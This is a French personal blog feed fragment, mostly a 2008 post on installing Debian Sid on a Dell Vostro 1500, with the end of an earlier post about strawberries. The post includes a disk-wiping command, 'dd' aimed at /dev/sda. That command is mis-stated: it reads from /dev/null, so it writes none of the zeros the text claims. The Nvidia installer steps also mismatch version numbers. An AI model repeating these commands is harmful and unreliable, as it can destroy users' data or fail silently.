&lt;p&gt;Le quatrième paragraphe fait peur (quoiqu&amp;rsquo;il ne surprenne pas du tout mais bon) et je ne suis évidemment pas le seul à relayer l&amp;rsquo;info.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WWW france (&lt;em&gt;lien mort&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;politis.fr (&lt;em&gt;lien mort&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;tsr.ch (&lt;em&gt;lien mort&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Notre planète (&lt;em&gt;lien mort&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Consommez des fraises en saison.&lt;br&gt;
Lorsque c&amp;rsquo;est la saison, allez les acheter à la ferme près de chez vous (si possible BIO).&lt;/p&gt;</content></entry><entry><title>Installation Debian (Sid) sur un Dell Vostro 1500</title><link href="http://blog.namok.be/2008-05-07-186-installation-debian-sid-sur-un-dell-vostro-1500.html" rel="alternate"/><published>2008-05-07T00:00:00+02:00</published><updated>2008-05-07T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-05-07:/2008-05-07-186-installation-debian-sid-sur-un-dell-vostro-1500.html</id><summary type="html">Installation Debian (Sid) sur un Dell Vostro 1500</summary><content type="html">&lt;p&gt;Voilà, j&amp;rsquo;ai acheté un nouveau laptop car celui de ma femme devenait très lent ! J&amp;rsquo;ai eu la chance de profiter du &lt;em&gt;deal&lt;/em&gt; : je prends le tien — beaucoup plus rapide que le mien — et tu t&amp;rsquo;en achètes un nouveau. Ainsi, tout le monde est content.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;étais l&amp;rsquo;heureux possesseur d&amp;rsquo;un &lt;code&gt;HP nx6110&lt;/code&gt; qui m&amp;rsquo;a donné entière satisfaction si ce n&amp;rsquo;est que les ports USB sont défectueux et je suis maintenant l&amp;rsquo;heureux (ou presque) possesseur d&amp;rsquo;un &lt;code&gt;Dell Vostro 1500&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Je vous donne les détails de l&amp;rsquo;installation histoire de m&amp;rsquo;en rappeler au cas où et d&amp;rsquo;en faire partager l&amp;rsquo;expérience.&lt;/p&gt;
&lt;p&gt;Je me suis basé sur diverses autres expériences, dont :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Installation de Debian Sid sur un Dell Vostro 1500 (&lt;em&gt;lien mort&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="//forum.hardware.fr/hfr/OSAlternatifs/Multimedia/alsa-intel-82801h-sujet_64179_1.htm"&gt;Forum hardware.fr&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ma configuration est la suivante: &amp;hellip;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="m"&gt;00&lt;/span&gt;:00.0&lt;span class="w"&gt; &lt;/span&gt;Host&lt;span class="w"&gt; &lt;/span&gt;bridge:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;Mobile&lt;span class="w"&gt; &lt;/span&gt;PM965/GM965/GL960&lt;span class="w"&gt; &lt;/span&gt;Memory&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;Hub&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;0c&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:01.0&lt;span class="w"&gt; &lt;/span&gt;PCI&lt;span class="w"&gt; &lt;/span&gt;bridge:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;Mobile&lt;span class="w"&gt; &lt;/span&gt;PM965/GM965/GL960&lt;span class="w"&gt; &lt;/span&gt;PCI&lt;span class="w"&gt; &lt;/span&gt;Express&lt;span class="w"&gt; &lt;/span&gt;Root&lt;span class="w"&gt; &lt;/span&gt;Port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;0c&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1a.0&lt;span class="w"&gt; &lt;/span&gt;USB&lt;span class="w"&gt; &lt;/span&gt;Controller:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8&lt;span class="w"&gt; &lt;/span&gt;Family&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;USB&lt;span class="w"&gt; &lt;/span&gt;UHCI&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4 (rev 02)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1a.1&lt;span class="w"&gt; &lt;/span&gt;USB&lt;span class="w"&gt; &lt;/span&gt;Controller:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8&lt;span class="w"&gt; &lt;/span&gt;Family&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;USB&lt;span class="w"&gt; &lt;/span&gt;UHCI&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#5 (rev 02)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1a.7&lt;span class="w"&gt; &lt;/span&gt;USB&lt;span class="w"&gt; &lt;/span&gt;Controller:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8&lt;span class="w"&gt; &lt;/span&gt;Family&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;USB2&lt;span class="w"&gt; &lt;/span&gt;EHCI&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#2 (rev 02)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1b.0&lt;span class="w"&gt; &lt;/span&gt;Audio&lt;span class="w"&gt; &lt;/span&gt;device:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8&lt;span class="w"&gt; &lt;/span&gt;Family&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;HD&lt;span class="w"&gt; &lt;/span&gt;Audio&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1c.0&lt;span class="w"&gt; &lt;/span&gt;PCI&lt;span class="w"&gt; &lt;/span&gt;bridge:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8&lt;span class="w"&gt; &lt;/span&gt;Family&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;PCI&lt;span class="w"&gt; &lt;/span&gt;Express&lt;span class="w"&gt; &lt;/span&gt;Port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1c.1&lt;span class="w"&gt; &lt;/span&gt;PCI&lt;span class="w"&gt; &lt;/span&gt;bridge:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8&lt;span class="w"&gt; &lt;/span&gt;Family&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;PCI&lt;span class="w"&gt; &lt;/span&gt;Express&lt;span class="w"&gt; &lt;/span&gt;Port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1c.3&lt;span class="w"&gt; &lt;/span&gt;PCI&lt;span class="w"&gt; &lt;/span&gt;bridge:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8&lt;span class="w"&gt; &lt;/span&gt;Family&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;PCI&lt;span class="w"&gt; &lt;/span&gt;Express&lt;span class="w"&gt; &lt;/span&gt;Port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1d.0&lt;span class="w"&gt; &lt;/span&gt;USB&lt;span class="w"&gt; &lt;/span&gt;Controller:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8&lt;span class="w"&gt; &lt;/span&gt;Family&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;USB&lt;span class="w"&gt; &lt;/span&gt;UHCI&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#1 (rev 02)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1d.1&lt;span class="w"&gt; &lt;/span&gt;USB&lt;span class="w"&gt; &lt;/span&gt;Controller:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8&lt;span class="w"&gt; &lt;/span&gt;Family&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;USB&lt;span class="w"&gt; &lt;/span&gt;UHCI&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#2 (rev 02)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1d.2&lt;span class="w"&gt; &lt;/span&gt;USB&lt;span class="w"&gt; &lt;/span&gt;Controller:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8&lt;span class="w"&gt; &lt;/span&gt;Family&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;USB&lt;span class="w"&gt; &lt;/span&gt;UHCI&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#3 (rev 02)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1d.7&lt;span class="w"&gt; &lt;/span&gt;USB&lt;span class="w"&gt; &lt;/span&gt;Controller:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8&lt;span class="w"&gt; &lt;/span&gt;Family&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;USB2&lt;span class="w"&gt; &lt;/span&gt;EHCI&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#1 (rev 02)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1e.0&lt;span class="w"&gt; &lt;/span&gt;PCI&lt;span class="w"&gt; &lt;/span&gt;bridge:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;82801&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Mobile&lt;span class="w"&gt; &lt;/span&gt;PCI&lt;span class="w"&gt; &lt;/span&gt;Bridge&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;f2&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1f.0&lt;span class="w"&gt; &lt;/span&gt;ISA&lt;span class="w"&gt; &lt;/span&gt;bridge:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801HEM&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8M&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;LPC&lt;span class="w"&gt; &lt;/span&gt;Interface&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1f.1&lt;span class="w"&gt; &lt;/span&gt;IDE&lt;span class="w"&gt; &lt;/span&gt;interface:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801HBM/HEM&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8M/ICH8M-E&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;IDE&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1f.2&lt;span class="w"&gt; &lt;/span&gt;SATA&lt;span class="w"&gt; &lt;/span&gt;controller:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801HBM/HEM&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8M/ICH8M-E&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;SATA&lt;span class="w"&gt; &lt;/span&gt;AHCI&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;00&lt;/span&gt;:1f.3&lt;span class="w"&gt; &lt;/span&gt;SMBus:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;82801H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ICH8&lt;span class="w"&gt; &lt;/span&gt;Family&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;SMBus&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;01&lt;/span&gt;:00.0&lt;span class="w"&gt; &lt;/span&gt;VGA&lt;span class="w"&gt; &lt;/span&gt;compatible&lt;span class="w"&gt; &lt;/span&gt;controller:&lt;span class="w"&gt; &lt;/span&gt;nVidia&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;GeForce&lt;span class="w"&gt; &lt;/span&gt;8400M&lt;span class="w"&gt; &lt;/span&gt;GS&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;a1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;03&lt;/span&gt;:00.0&lt;span class="w"&gt; &lt;/span&gt;Ethernet&lt;span class="w"&gt; &lt;/span&gt;controller:&lt;span class="w"&gt; &lt;/span&gt;Broadcom&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;BCM4401-B0&lt;span class="w"&gt; &lt;/span&gt;100Base-TX&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;03&lt;/span&gt;:01.0&lt;span class="w"&gt; &lt;/span&gt;FireWire&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;IEEE&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1394&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;Ricoh&lt;span class="w"&gt; &lt;/span&gt;Co&lt;span class="w"&gt; &lt;/span&gt;Ltd&lt;span class="w"&gt; &lt;/span&gt;R5C832&lt;span class="w"&gt; &lt;/span&gt;IEEE&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1394&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;05&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;03&lt;/span&gt;:01.1&lt;span class="w"&gt; &lt;/span&gt;SD&lt;span class="w"&gt; &lt;/span&gt;Host&lt;span class="w"&gt; &lt;/span&gt;controller:&lt;span class="w"&gt; &lt;/span&gt;Ricoh&lt;span class="w"&gt; &lt;/span&gt;Co&lt;span class="w"&gt; &lt;/span&gt;Ltd&lt;span class="w"&gt; &lt;/span&gt;R5C822&lt;span class="w"&gt; &lt;/span&gt;SD/SDIO/MMC/MS/MSPro&lt;span class="w"&gt; &lt;/span&gt;Host&lt;span class="w"&gt; &lt;/span&gt;Adapter&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;22&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;03&lt;/span&gt;:01.2&lt;span class="w"&gt; &lt;/span&gt;System&lt;span class="w"&gt; &lt;/span&gt;peripheral:&lt;span class="w"&gt; &lt;/span&gt;Ricoh&lt;span class="w"&gt; &lt;/span&gt;Co&lt;span class="w"&gt; &lt;/span&gt;Ltd&lt;span class="w"&gt; &lt;/span&gt;R5C843&lt;span class="w"&gt; &lt;/span&gt;MMC&lt;span class="w"&gt; &lt;/span&gt;Host&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;03&lt;/span&gt;:01.3&lt;span class="w"&gt; &lt;/span&gt;System&lt;span class="w"&gt; &lt;/span&gt;peripheral:&lt;span class="w"&gt; &lt;/span&gt;Ricoh&lt;span class="w"&gt; &lt;/span&gt;Co&lt;span class="w"&gt; &lt;/span&gt;Ltd&lt;span class="w"&gt; &lt;/span&gt;R5C592&lt;span class="w"&gt; &lt;/span&gt;Memory&lt;span class="w"&gt; &lt;/span&gt;Stick&lt;span class="w"&gt; &lt;/span&gt;Bus&lt;span class="w"&gt; &lt;/span&gt;Host&lt;span class="w"&gt; &lt;/span&gt;Adapter&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;03&lt;/span&gt;:01.4&lt;span class="w"&gt; &lt;/span&gt;System&lt;span class="w"&gt; &lt;/span&gt;peripheral:&lt;span class="w"&gt; &lt;/span&gt;Ricoh&lt;span class="w"&gt; &lt;/span&gt;Co&lt;span class="w"&gt; &lt;/span&gt;Ltd&lt;span class="w"&gt; &lt;/span&gt;xD-Picture&lt;span class="w"&gt; &lt;/span&gt;Card&lt;span class="w"&gt; &lt;/span&gt;Controller&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;ff&lt;span class="o"&gt;)&lt;/span&gt;
0c:00.0&lt;span class="w"&gt; &lt;/span&gt;Network&lt;span class="w"&gt; &lt;/span&gt;controller:&lt;span class="w"&gt; &lt;/span&gt;Intel&lt;span class="w"&gt; &lt;/span&gt;Corporation&lt;span class="w"&gt; &lt;/span&gt;PRO/Wireless&lt;span class="w"&gt; &lt;/span&gt;3945ABG&lt;span class="w"&gt; &lt;/span&gt;Network&lt;span class="w"&gt; &lt;/span&gt;Connection&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;rev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Installation de base&lt;/h2&gt;
&lt;p&gt;Première manip à faire, ne pas lancer Windows Vista. Enfin, c&amp;rsquo;est mon choix, faites le votre.&lt;/p&gt;
&lt;p&gt;Pour ce faire, j&amp;rsquo;insère un CD d&amp;rsquo;installation de Debian, je boote sur le CD, et je lance l&amp;rsquo;install. Ayant lu les infos sur le Dell Media Center, je suis prudent et je décide d&amp;rsquo;écrire une petite suite de zéro sur mon disque.
Au début de l&amp;rsquo;installation, je vais sur une autre console que celle d&amp;rsquo;install (via &lt;code&gt;[Ctrl][Alt]F2&lt;/code&gt; par exemple) et j&amp;rsquo;entre la commande&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/null&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sda
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ça prend beaucoup de temps (plusieurs heures) et j&amp;rsquo;aurais probablement pu me contenter d&amp;rsquo;écrire sur les 512 premiers octets. Mais bon, c&amp;rsquo;est fait, je peux reprendre l&amp;rsquo;install en retournant sur la première console.&lt;/p&gt;
&lt;p&gt;Rien de particulier pour cette installation.&lt;/p&gt;
&lt;h2&gt;Carte son&lt;/h2&gt;
&lt;p&gt;Rien de particulier, un petit &lt;code&gt;alsaconf&lt;/code&gt; et ça fonctionne.&lt;/p&gt;
&lt;h2&gt;Installation de la carte Nvidia&lt;/h2&gt;
&lt;p&gt;J&amp;rsquo;ai essayé via les drivers libres mais ça n&amp;rsquo;a pas fonctionné pour ma carte Nvidia 8400M GS, j&amp;rsquo;ai donc téléchargé l&amp;rsquo;&lt;em&gt;installer&lt;/em&gt; à partir du site Nvidia:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt;$&lt;span class="w"&gt; &lt;/span&gt;wget&lt;span class="w"&gt; &lt;/span&gt;http://fr.download.nvidia.com/XFree86/Linux-x86/100.14.11/NVIDIA-Linux-x86-173.08-pkg1.run
&amp;gt;#&lt;span class="w"&gt; &lt;/span&gt;sh&lt;span class="w"&gt; &lt;/span&gt;NVIDIA-Linux-x86-100.14.11-pkg1.run
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il faut faire attention à la version de &lt;code&gt;gcc&lt;/code&gt; utilisée, mais ça se règle en ajustant la variable d&amp;rsquo;environnement CC.&lt;/p&gt;
&lt;h2&gt;Installation d&amp;rsquo;un environnement graphique&lt;/h2&gt;
&lt;p&gt;J&amp;rsquo;ai toujours utilisé &lt;em&gt;Window maker&lt;/em&gt; avec quelques consoles &lt;code&gt;aterm&lt;/code&gt; mais ici, j&amp;rsquo;ai un soucis, ça me mange beaucoup de mémoire. Comme je n&amp;rsquo;ai pas envie de chercher, je décide de paramétrer: Fluxbox, fbpager, Conky et Keylaunch&lt;/p&gt;
&lt;p&gt;Évidemment, j&amp;rsquo;ai ~~passé~~ perdu beaucoup de temps avec ça, histoire d&amp;rsquo;avoir un environnement X que j&amp;rsquo;aime.&lt;/p&gt;
&lt;h2&gt;Carte Wifi&lt;/h2&gt;
&lt;p&gt;Ma carte n&amp;rsquo;est pas encore paramétrée : &lt;strong&gt;TODO&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;À ce stade, le module (intégré au noyau) ne fonctionne pas.&lt;/p&gt;
&lt;h2&gt;Caméra intégrée&lt;/h2&gt;
&lt;p&gt;Je n&amp;rsquo;ai encore fait aucune recherche à ce sujet.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Quelques temps plus tard.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai pris la peine de suivre &lt;a href="//forum.debian-fr.org/viewtopic.php?f=3&amp;amp;t=14270&amp;amp;p=139291%22"&gt;un tuto sur un forum Debian&lt;/a&gt; et tout fonctionne bien.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai téléchargé le paquet &lt;code&gt;linux-uvc-source&lt;/code&gt; et via &lt;code&gt;module-assistant&lt;/code&gt;, j&amp;rsquo;ai demande la compilation du module qu&amp;rsquo;il suffit de charger ensuite. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt;#&lt;span class="w"&gt; &lt;/span&gt;modprobe&lt;span class="w"&gt; &lt;/span&gt;uvcvideo
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il reste à trouver des programme utilisant cette Webcam. Pour l&amp;rsquo;instant j&amp;rsquo;ai lancé Cheese.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
En conclusion, c&amp;rsquo;est opérationnel pour moi, donc c&amp;rsquo;est bien.&lt;/p&gt;
&lt;p&gt;Au niveau du matériel je trouve que le &lt;em&gt;touchpad&lt;/em&gt; est moins pratique que celui de HP.&lt;/p&gt;
